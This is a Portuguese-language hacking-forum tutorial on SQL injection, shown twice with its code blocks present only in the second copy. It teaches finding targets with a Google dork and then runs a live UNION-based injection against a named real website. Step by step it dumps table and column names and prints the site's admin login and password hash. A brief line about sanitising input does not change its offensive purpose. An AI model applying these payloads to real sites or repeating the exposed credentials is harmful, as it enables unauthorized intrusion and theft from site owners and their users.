SQL Injection
tradutor: 2-D
Eae pessoal do brazilian hack, to traduzindo o tutorial retirado do HackBB, famoso forum hacker da deepweb. É um tutorial praticamente completo, desde o zero até conseguir login e senha!
0x00 Este tutorial tem função meramente informativa, qualquer dano causado será de sua autoria, não tenho nada haver com isso.
Nesta lição estaremos abordando os fundamentos de uma injeção de SQL comum. Vamos começar com a descoberta da vulnerabilidade e, eventualmente, explorando-o para "hackiar" o site. Existem algumas coisas que todos vocês devem saber antes de começar. Primeiro esta será uma lição "real", ou seja, os sites exibidos e usados, por exemplo, são reais e não estão sob o controle ou a propriedade de qualquer pessoa relacionada com o Brazilian Hack. Dito isto você pode optar por participar ou não nos exemplos. Em segundo lugar, existem alguns programas que você pode optar por usar, mas não são necessários só faz o trabalho um pouco mais fácil. Essas coisas que estão sendo usadas no Firefox como o addon HackBar. Assim, sem mais delongas, vamos iniciar nosso Tutorial de SQLi!!
0x01
No início o SQL (Structured Query Language) vem em algumas formas diferentes. MYSQL, MSSQL são as versões mais usadas, mas existem outras. Hoje vamos nos concentrar em MYSQL. As diferenças nas outras versões são principalmente sintaxe e formatação. Portanto, em teoria, uma vez que você aprende uma maneira é fácil de se adaptar a outra versão, simplesmente mudando suas injeções um pouco. SQL é uma linguagem de computador do banco de dados projetado para gerenciar dados em sistemas de gerenciamento de banco de dados relacional (RDBMS). Resumindo, é simplesmente um meio de extrair informações de um banco de dados. Por exemplo, se nós fossemos fazer uma busca em uma coleção de livros que estão separados a partir do nome do seu autor. Mas nós só queremos ver os do autor "Tolkien" uma simples consulta ficaria assim SELECT Título FROM livros Where Autor = "Tolkien" Isso mostraria exatamente o que queremos; todos os livros que são escritos por Tolkien em nossa lista de busca. Esta é a premissa para a exploração da vulnerabilidade em SQL.
0x02
Vulnerabilidades SQL ocorrem quando um programador permite a entrada de caracteres que criam uma comunicação com o Servidor. Um programador que não sanear as entradas de seus usuários esta pedindo para ser "hackiado". Ao sanear, quero dizer que ele / ela não filtra o que o usuário tem permissão de entrar e comunicar com o servidor. Por exemplo, se o programador não filtrar os caracteres <> 's, em seguida, o seu site poderia facilmente ser suscetível a injeção XSS mas isso fica para uma outra lição. A principal solução aqui é para aprender a sanear todas as entradas do usuário. NUNCA deixe um usuário final entrar com a informação que quiser, você sempre tem que verificá-los com algum tipo validação.
0x03
Algumas coisas que você deve saber, são os principais caracteres usados em declarações Mysql. Estes são os seguintes:
Esses são muito parecidos com qualquer outros caracteres em linguagem de programação que fazem com que o que vem a seguir não seja executado e é principalmente para o programador explicar ou comentar sobre o código escrito, para dizer como funciona, o que é necessário etc. Em seguida é preciso identificar os parâmetros disponíveis para um ataque de SQL. As principais coisas associadas com injeções sql são os parâmetros normalmente dados a php ou asp ou alguma outra linguagem, mas vamos nos concentrar em PHP. Um parâmetro como o seguinte
é um excelente exemplo de um ponto de partida comum para realizarmos uma injeção SQL. Há milhares de strings usadas para se identificar uma falha SQLi, mas as mais usadas são id, category_id, notícias_id, etc. Basicamente qualquer string que você pensar pode ser vulnerável. Normalmente a injeção ocorre nas notícias ou seções da galeria de imagens de um website. A notícia é provavelmente a seção que contem mais vulnerabilidades e por sua vez, a mais usada em Injeções SQL, por isso vamos usar ela para um exemplo. Quando você vê um site com a string news.php id? = 1, então este é um ótimo local para tentar a sua injeção. O primeiro passo é verificar se algo acontece quando se põe uma
após a string. Ou seja, deve ficar assim
isso deve causar um erro se o programador não tiver corrigido essa vulnerabilidade. Métodos de ataque ainda são 'e 1 = 1 -, Â' e 1 = 2 - ou alguma outra variante. Observe o caractere de comentário após sua injeção inicial, "caracter de comentário é --" Ele serve para comentar o resto da injeção de consulta e só a parte antes de -- será examinada e 1 = 1 -- sempre retornará verdadeiro. O que significa que a página deve carregar normalmente. Já 1 = 2 - deve causar um outro erro ou algum outro tipo de coisa como por exemplo, a página não está sendo exibida corretamente. Há casos em que você não consegue ver esses erros, mas isso é para uma lição avançada. Também tomamos nota de que 1 = 1 ou 1 = 2 não tem que ser necessariamente números, você poderia usar qualquer coisa que seja verdade como 'a' = 'a', você teria que adicionar o ' para ter certeza de que irá passar pelo banco de dados.
0x04
Daqui pra baixo o tuto vai por conta de 2-D,[S]hardock e o pessoal do Brazilian Hack
Agora vamos passar para a diversão. Já foi dada bastante informação que nos ajudará em nossa jornada para o ataque SQL. Então vamos começar com um site real para testar as nossas capacidades.
Primeiro temos que achar um site vull no google. Uma boa string para os iniciantes é :
Com ela eu achei o seguinte site:
Logo em seguida eu botei ' depois do link e percebi que ele retornava um erro
E agora? O que faremos? Primeiramente iremos ver quantas tabelas este site possui, usando o Order By. Você terá que testar até nao dar erro, por exemplo
--> ser der erro diminua para 9, ser der de novo para 8 e assim por diante até nao dar erro.
No nosso caso ficará:
--> bom já descobrimos que ele possui 6 tabelas e agora?
Teremos que unir essas tabelas em uma só. Para isso utilizaremos o comando UNION SELECT. Porém antes o site estava fazendo uma pesquisa e nós precisamos cancelar essa pesquisa para executar somente a nossa Query. Para isso usaremos o " - " dps de id=. Ficará assim:
Feito isso, aparecerá um número, no caso o 4.
--> depois de ter juntado as tabelas, precisamos descobrir os nomes delas. Para isso usaremos um série de comandos, vou lista-los abaixo.
--> group_concat serve para mostrar o que vem a seguir no caso table_name
serve para mostrar as tabelas apenas da DB information_schema
--> funciona como um filtro
Ao todo ficará assim:
--> é comum que no início as pessoas errem algumas letras e por isso ocorram erro. prestem atenção nos plurais
Quando você fizer isso aparecerá os nomes das tabelas assim:
Agora é só usar a lógica para escolher a tabela. Uma vez que queremos o usuário e senha, essas informações só podem estar em "logins e usuario". Você pode testar as duas, mas normalmente esta em usuarios mesmo. Vamos ter que achar as colunas agora. E como faremos isso? Simples, iremos tirar onde esta escrito table(s) e por column(s) e por pra procurar apenas na table usuario. Ficará assim
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,2,3,group_concat%28column_name%29,5,6 from information_schema.columns where table_schema=0x7573756172696f--
Ai vc me pergunta, 2-D, por que desse 0x7573756172696f?Não era pra por somente o nome da tabela?
Sim jovem gafanhoto, o problema é que a DB "esta" em hexadecimal. Além disso você tem que por um filtro que é o "0x".
Você sempre irá usar ele antes de por o nome da tabela em hexa. É por isso também que usamos %28 e %29. Na verdade eles são:
Use este site para passar o nome da tabela para hexa
Continuando, depois de fazer isto aparecerá o nome das colunas:
Agora é só por para mostrar as colunas que nós queremos. No caso login e senha. Usaremos a seguinte string:
--> Pra quem ta na dúvida quanto ao 0x3d, isso equivale a " = ". O 0x é um filtro e o 3d é " = " em hexa. É só pra senha não ficar junta do login.
Após isso o login e senha aparecerão
Login: admdinossauro
Senha: *B73FF909C06302C23B058508BBC2634851406FAA <-- ela ta criptografada.
Créditos: Introdução by HackBB traduzida por 2-D e Criyzzy Anon
Tutorial by [S]hardock e 2-D
Dedicado a: Brazilian Hack
tradutor: 2-D
Eae pessoal do brazilian hack, to traduzindo o tutorial retirado do HackBB, famoso forum hacker da deepweb. É um tutorial praticamente completo, desde o zero até conseguir login e senha!
0x00 Este tutorial tem função meramente informativa, qualquer dano causado será de sua autoria, não tenho nada haver com isso.
Nesta lição estaremos abordando os fundamentos de uma injeção de SQL comum. Vamos começar com a descoberta da vulnerabilidade e, eventualmente, explorando-o para "hackiar" o site. Existem algumas coisas que todos vocês devem saber antes de começar. Primeiro esta será uma lição "real", ou seja, os sites exibidos e usados, por exemplo, são reais e não estão sob o controle ou a propriedade de qualquer pessoa relacionada com o Brazilian Hack. Dito isto você pode optar por participar ou não nos exemplos. Em segundo lugar, existem alguns programas que você pode optar por usar, mas não são necessários só faz o trabalho um pouco mais fácil. Essas coisas que estão sendo usadas no Firefox como o addon HackBar. Assim, sem mais delongas, vamos iniciar nosso Tutorial de SQLi!!
0x01
No início o SQL (Structured Query Language) vem em algumas formas diferentes. MYSQL, MSSQL são as versões mais usadas, mas existem outras. Hoje vamos nos concentrar em MYSQL. As diferenças nas outras versões são principalmente sintaxe e formatação. Portanto, em teoria, uma vez que você aprende uma maneira é fácil de se adaptar a outra versão, simplesmente mudando suas injeções um pouco. SQL é uma linguagem de computador do banco de dados projetado para gerenciar dados em sistemas de gerenciamento de banco de dados relacional (RDBMS). Resumindo, é simplesmente um meio de extrair informações de um banco de dados. Por exemplo, se nós fossemos fazer uma busca em uma coleção de livros que estão separados a partir do nome do seu autor. Mas nós só queremos ver os do autor "Tolkien" uma simples consulta ficaria assim SELECT Título FROM livros Where Autor = "Tolkien" Isso mostraria exatamente o que queremos; todos os livros que são escritos por Tolkien em nossa lista de busca. Esta é a premissa para a exploração da vulnerabilidade em SQL.
0x02
Vulnerabilidades SQL ocorrem quando um programador permite a entrada de caracteres que criam uma comunicação com o Servidor. Um programador que não sanear as entradas de seus usuários esta pedindo para ser "hackiado". Ao sanear, quero dizer que ele / ela não filtra o que o usuário tem permissão de entrar e comunicar com o servidor. Por exemplo, se o programador não filtrar os caracteres <> 's, em seguida, o seu site poderia facilmente ser suscetível a injeção XSS mas isso fica para uma outra lição. A principal solução aqui é para aprender a sanear todas as entradas do usuário. NUNCA deixe um usuário final entrar com a informação que quiser, você sempre tem que verificá-los com algum tipo validação.
0x03
Algumas coisas que você deve saber, são os principais caracteres usados em declarações Mysql. Estes são os seguintes:
Código:
-, / *, #
Código:
http://www.blah.com/index.php?id=1
Código:
'
Código:
news.php id?=1'
0x04
Daqui pra baixo o tuto vai por conta de 2-D,[S]hardock e o pessoal do Brazilian Hack
Agora vamos passar para a diversão. Já foi dada bastante informação que nos ajudará em nossa jornada para o ataque SQL. Então vamos começar com um site real para testar as nossas capacidades.
Primeiro temos que achar um site vull no google. Uma boa string para os iniciantes é :
Código:
allinurl:noticias.php?id=
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1290
E agora? O que faremos? Primeiramente iremos ver quantas tabelas este site possui, usando o Order By. Você terá que testar até nao dar erro, por exemplo
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1290 order by 10
No nosso caso ficará:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=1290 order by 6
Teremos que unir essas tabelas em uma só. Para isso utilizaremos o comando UNION SELECT. Porém antes o site estava fazendo uma pesquisa e nós precisamos cancelar essa pesquisa para executar somente a nossa Query. Para isso usaremos o " - " dps de id=. Ficará assim:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1290 UNION SELECT 1,2,3,4,5,6
--> depois de ter juntado as tabelas, precisamos descobrir os nomes delas. Para isso usaremos um série de comandos, vou lista-los abaixo.
Código:
group_concat(table_name)
Código:
from information_schema.tables
Código:
where tables_schema=database()--
Ao todo ficará assim:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1290 UNION SELECT 1,2,3,group_concat%28table_name%29,5,6 from information_schema.tables where table_schema=database%28%29--
Quando você fizer isso aparecerá os nomes das tabelas assim:
Código:
apresentacao,banner,enquete,fique_dentro,links,logins,mural,noticia,parceiros,publicidade,tb_album,tb_foto_album,trilhas,usuario,videos
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,2,3,group_concat%28column_name%29,5,6 from information_schema.columns where table_schema=0x7573756172696f--
Ai vc me pergunta, 2-D, por que desse 0x7573756172696f?Não era pra por somente o nome da tabela?
Sim jovem gafanhoto, o problema é que a DB "esta" em hexadecimal. Além disso você tem que por um filtro que é o "0x".
Você sempre irá usar ele antes de por o nome da tabela em hexa. É por isso também que usamos %28 e %29. Na verdade eles são:
Código:
%28 = ( %29 = )
Código:
http://www.string-functions.com/string-hex.aspx
Agora é só por para mostrar as colunas que nós queremos. No caso login e senha. Usaremos a seguinte string:
Código:
http://www.relaxefacatrilha.com.br/noticias.php?id=-1290%20UNION%20SELECT%201,2,3,group_concat%28login,0x3d,senha%29,5,6%20from%20usuario
Após isso o login e senha aparecerão
Login: admdinossauro
Senha: *B73FF909C06302C23B058508BBC2634851406FAA <-- ela ta criptografada.
Créditos: Introdução by HackBB traduzida por 2-D e Criyzzy Anon
Tutorial by [S]hardock e 2-D
Dedicado a: Brazilian Hack
Comment